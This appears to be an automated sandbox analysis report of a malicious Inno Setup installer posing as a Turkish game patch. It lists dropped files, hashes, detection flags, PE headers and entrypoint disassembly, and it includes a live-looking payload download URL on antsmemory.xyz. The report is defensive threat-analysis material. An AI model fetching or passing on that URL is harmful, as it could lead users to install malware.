Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ss[1].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ar[1].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ar[2].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ar[1].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ar[1].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ar[2].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

Download File

Process:	C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3199488
Entropy (8bit):	6.3250525782712845
Encrypted:	false
SSDEEP:	49152:2WGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY:6tLutqgwh4NYxtJpkxhGj333T
MD5:	32CC3E106FF135C7611F471BEBC5293D
SHA1:	9B7A97CE3512676628DDE5CEE42F1292BD7BC811
SHA-256:	78C7FBC09FB89EA95C937AEF185A28B95C5303A0AB74ADD270EDD44FE9A9DE9E
SHA-512:	7676B1F7E01B7B64A8B62F1C581BE3BD6A1B68740029CAC22C45167F9F131F7AF7FFD5FB6A7F4F185E6054291D4D14DC50C3EBFC113B391EF86F245CD7213D74
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: yusetup.exe, Detection: malicious, Browse Filename: yusetup.exe, Detection: malicious, Browse Filename: 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe, Detection: malicious, Browse Filename: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe, Detection: malicious, Browse Filename: 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe, Detection: malicious, Browse Filename: F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Program.Unwanted.5413.12849.26268.exe, Detection: malicious, Browse Filename: 6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe, Detection: malicious, Browse Filename: C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe, Detection: malicious, Browse Filename: 2D5770EB59209D2238670233CB2BE6424F7974800B83F.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\erku (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	137
Entropy (8bit):	5.328617328895179
Encrypted:	false
SSDEEP:	3:N1KflPbduKHiVoZcBRSHqROYm5yMJwQ81qUQcKUn:CtPbduYihBRRM+qJy
MD5:	F7758ADB84427E7EB6AF7A1907115E33
SHA1:	950847D7E3E2F0B6AAEF2B7714F952E96DC970E5
SHA-256:	C9DC2308CE8751F35DEDABC3E372E6431C8EEAAF26C227A1C75299C87477D5D1
SHA-512:	0704FA1AA925D86007F50C90A54E74E4CA3657BE107679D6047A48597BABBDA82B37C2B31BB1E9B7C3955CA2584B4086200D8FA02FF8EA2490940F7108E68E13
Malicious:	false
Preview:	http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3851&s1=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQXp1ciBUcmtlIFlhbWEuZXhl&ti=1705920721

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\is-5J49M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	3467931
Entropy (8bit):	7.998250069640762
Encrypted:	true
SSDEEP:	98304:P+SSKt7ZLa8oMy4LyCAJOOmIqV70h5GRx:zt7ZL944G3AOmIqNkEx
MD5:	96F723D9AF7F2E4B45908770611B4350
SHA1:	1172E9A3A940CFAB02586D1D71505FF2D3962F83
SHA-256:	F9FE3B92AB10EBE4C0CF8FCAE492F58158DB33331160F7CB2A2C921FB55AC17E
SHA-512:	C5EF6635F0F0823E4D2E998C78EA41CCB9A9C18F8385B90A7D8296EFA6352A4C8CEC1B3FADB7B7F023F7D109EAD1A8EC60C565F14EB1E313855B2F048E34C712
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i..iw..iu..i...i..id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................................................................s.......`...?...........................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata... ...@...........................rsrc....?...`...@...v..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\is-6A8MO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	3467931
Entropy (8bit):	7.998250069640762
Encrypted:	true
SSDEEP:	98304:P+SSKt7ZLa8oMy4LyCAJOOmIqV70h5GRx:zt7ZL944G3AOmIqNkEx
MD5:	96F723D9AF7F2E4B45908770611B4350
SHA1:	1172E9A3A940CFAB02586D1D71505FF2D3962F83
SHA-256:	F9FE3B92AB10EBE4C0CF8FCAE492F58158DB33331160F7CB2A2C921FB55AC17E
SHA-512:	C5EF6635F0F0823E4D2E998C78EA41CCB9A9C18F8385B90A7D8296EFA6352A4C8CEC1B3FADB7B7F023F7D109EAD1A8EC60C565F14EB1E313855B2F048E34C712
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i..iw..iu..i...i..id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................................................................s.......`...?...........................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata... ...@...........................rsrc....?...`...@...v..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\is-8SD4O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	137
Entropy (8bit):	5.328617328895179
Encrypted:	false
SSDEEP:	3:N1KflPbduKHiVoZcBRSHqROYm5yMJwQ81qUQcKUn:CtPbduYihBRRM+qJy
MD5:	F7758ADB84427E7EB6AF7A1907115E33
SHA1:	950847D7E3E2F0B6AAEF2B7714F952E96DC970E5
SHA-256:	C9DC2308CE8751F35DEDABC3E372E6431C8EEAAF26C227A1C75299C87477D5D1
SHA-512:	0704FA1AA925D86007F50C90A54E74E4CA3657BE107679D6047A48597BABBDA82B37C2B31BB1E9B7C3955CA2584B4086200D8FA02FF8EA2490940F7108E68E13
Malicious:	false
Preview:	http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3851&s1=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQXp1ciBUcmtlIFlhbWEuZXhl&ti=1705920721

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\is-NVIL0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\ret (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	3467931
Entropy (8bit):	7.998250069640762
Encrypted:	true
SSDEEP:	98304:P+SSKt7ZLa8oMy4LyCAJOOmIqV70h5GRx:zt7ZL944G3AOmIqNkEx
MD5:	96F723D9AF7F2E4B45908770611B4350
SHA1:	1172E9A3A940CFAB02586D1D71505FF2D3962F83
SHA-256:	F9FE3B92AB10EBE4C0CF8FCAE492F58158DB33331160F7CB2A2C921FB55AC17E
SHA-512:	C5EF6635F0F0823E4D2E998C78EA41CCB9A9C18F8385B90A7D8296EFA6352A4C8CEC1B3FADB7B7F023F7D109EAD1A8EC60C565F14EB1E313855B2F048E34C712
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i..iw..iu..i...i..id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................................................................s.......`...?...........................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata... ...@...........................rsrc....?...`...@...v..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsn8043.tmp\inetc.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23040
Entropy (8bit):	5.540206398655926
Encrypted:	false
SSDEEP:	384:PWc7V9H6MVsnCPFN4DC5/kdhdj/ouVj19L0d10Ac9khYLMkIX0+GbyeEaI2sJ:PWqTH/V7tHSWutp
MD5:	CAB75D596ADF6BAC4BA6A8374DD71DE9
SHA1:	FB90D4F13331D0C9275FA815937A4FF22EAD6FA3
SHA-256:	89E24E4124B607F3F98E4DF508C4DDD2701D8F7FCF1DC6E2ABA11D56C97C0C5A
SHA-512:	510786599289C8793526969CFE0A96E049436D40809C1C351642B2C67D5FB2394CB20887010727A5DA35C52A20C5557AD940967053B1B59AD91CA1307208C391
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........yP..P..P...:.Y..P......["R...[#Q...[.Q..]..Q...[.Q..RichP..........PE..L...?..V...........!.........^......!0.......@............................................@..........................D..l....D..d...............................X....................................................@..P............................text...!,.......................... ..`.rdata.......@.......2..............@..@.data...<<...P.......@..............@....rsrc................H..............@..@.reloc..X............R..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsn8043.tmp\s

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\nsn8043.tmp\status.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

C:\Users\user\AppData\Local\Temp\nsq7A47.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	data
Category:	dropped
Size (bytes):	3633016
Entropy (8bit):	7.939427430375149
Encrypted:	false
SSDEEP:	98304:zzBOBfKMpHGqcfsLyQecNEqCNCjRqGy5XYBHOhN2qlx:zz/MpmJ0LdDLCAyiHOv
MD5:	CC1F7AF9A900B2BC56E7335E5AA76C32
SHA1:	6BEB808E6AD8DE84E4FE7EFBC3F6835C487C1B5D
SHA-256:	E984D1D7B1141C5097ADDD2775DFFB2E39A9088D710ABEF38BFAFD24A64942E3
SHA-512:	8CDCEBCF84BF8D3871F103206BBEA65BE4E132B449C7A8E7ADC492C3B784215CFE129011ED2D4113514F09CC6F7E07534D383AB6ACE59199BBFB3D57FE103A8B
Malicious:	false
Preview:	TZ......,....................... 7......"Y......$Z..........................................................................1................................................................................................................................................................................!..f.......................J.......................L...............j.......................J.......................................................................................................r...........4...{.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\is-H6D1D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.312174442869424
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY6:CtLutqgwh4NYxtJpkxhGj333T3
MD5:	6756E4FBF4447E00C400E635666FDD08
SHA1:	EC0C3A31319FB12009D59307F6B623F110CCA753
SHA-256:	973A002498D7607F33C1AAD07F5F8B782682AAB37A928CADCF5ADB02D0D31A45
SHA-512:	1F7FAC5BA371E4AFA4C79171B6F6EB2993B939301F02008F30DA237DA708BDB143889F7CD010E8EEDCA0E749442C8E7C368CD23432076FCD1FD8A3F889843525
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Windows\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	InnoSetup Log Greak Memories of Azur Trke Yama.exe, version 0x418, 5997 bytes, 347688\37\user\376, \350\001\001\026\0134\006\201\377
Category:	dropped
Size (bytes):	5997
Entropy (8bit):	4.160454846877955
Encrypted:	false
SSDEEP:	96:N1gan3OWUV+ij09nZd3cuij09n5Ehk3w1nQ1CpbcuJlEDA4MZAe2LOtHhrqq:N1gaftw07Hw04nbP4DSmcHtqq
MD5:	05CCFBD6E699855A6C744E40A4CC2981
SHA1:	A5C224BE9B38D5087B068AB6ADF7807616032EFE
SHA-256:	F4490FCF70AD598100A0D7F20032EC405C64607536DADC5CBB4A783A13B3ED2E
SHA-512:	853909EB7A2300BE3D40D3BF98535C1C639E7F8A292015AB111A9D9843BC8C3451356F19DEC0903EA4C6D79AAFE9E187499B6FC874B041057E5891AE5221D30D
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................Greak Memories of Azur Trke Yama.exe............................................................................................Greak Memories of Azur Trke Yama.exe....................................................................................................m................................................................................................................................".......;........3.4.7.6.8.8......j.o.n.e.s.....................4...... .....^........IFPS....'........................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPROGRESSFORM.........TDOWNLOADWIZARDPAGE....TDOWNLOADWIZARDPAGE.........TNEWRADIOBUTTON....TNEWRADIOBUTTON..................TONDOWNLOADPROGRES

C:\Windows\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.312174442869424
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TY6:CtLutqgwh4NYxtJpkxhGj333T3
MD5:	6756E4FBF4447E00C400E635666FDD08
SHA1:	EC0C3A31319FB12009D59307F6B623F110CCA753
SHA-256:	973A002498D7607F33C1AAD07F5F8B782682AAB37A928CADCF5ADB02D0D31A45
SHA-512:	1F7FAC5BA371E4AFA4C79171B6F6EB2993B939301F02008F30DA237DA708BDB143889F7CD010E8EEDCA0E749442C8E7C368CD23432076FCD1FD8A3F889843525
Malicious:	true
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\winrar-x64-623.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3586840
Entropy (8bit):	7.95378887141996
Encrypted:	false
SSDEEP:	98304:kzBOBfKMpHGqcfsLyQecNEqCNCjRqGy5XYBHOhN2qlxR:kz/MpmJ0LdDLCAyiHOvl
MD5:	7A647AF3C112AD805296A22B2A276E7C
SHA1:	9CDF137E3F2493C9E141D5EC05F890E32B9B4E87
SHA-256:	20739E8FC050187AF013E2499718895E4C980699CCAF046B2F96B12497E61959
SHA-512:	71D86D8DC598AAFA91DA8E0D971D1BBB87135832B848547C5C611BC828D165625C7A19AF2CD300373190CF3EB782C714AC73D84ADA53B37B6D8C1EE8508BCD86
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........{.....V...V...V4hzW\|..Vga.V...Vga{W...Vga\|W...VgazW...V4h\|W...V4h{W...V4hyW...V4h~W...V..~V...ViazW...Via.W...Via.V...Via}W...VRich...V........................PE..d......d.........."....!............pU.........@.............................0.......%7...`.............................................4.......P........`...`..H-...r6.XH... ......P...T...............................@............................................text............................... ..`.rdata..............................@..@.data...tU..........................@....pdata..H-...`......................@..@.didat..0...........................@..._RDATA..\............"..............@..@.rsrc....p.......b...$..............@..@.reloc....... ......................@..B................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.414658449475567
TrID:	Win32 Executable (generic) a (10002005/4) 98.04% Inno Setup installer (109748/4) 1.08% InstallShield setup (43055/19) 0.42% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
File size:	1'671'997 bytes
MD5:	2800086d1e1bc2bfc3fd70f888baa391
SHA1:	ace5ca715f0279a9290e55c4ebc0988457446d6a
SHA256:	61487917009bbcc5f0dac7840265060f070adc22139fbab964a37cd68b7779c4
SHA512:	31d99d42412939738f2bbbe9b8404bdfbc93fb3b1452b3f79616c6a99f89edab68b796ec702abf5a720407d5d882bfebed7fea96300594dd140c774726fb14bc
SSDEEP:	24576:s7FUDowAyrTVE3U5F/fcdKic6QL3E2vVsjECUAQT45deRV9Rq:sBuZrEUmKIy029s4C1eH98
TLSH:	A775BF3FF268A13EC56A1B3245B38320997BBA51B81A8C1E47FC344DCF765601E3B656
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0c0c2d33ceec80aa

Static PE Info

General

Entrypoint:	0x4b5eec
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63ECF218 [Wed Feb 15 14:54:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	e569e6f445d32ba23766ad67d1e3787f

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004B14B8h
call 00007F1598EDF375h
xor eax, eax
push ebp
push 004B65E2h
push dword ptr fs:[eax]
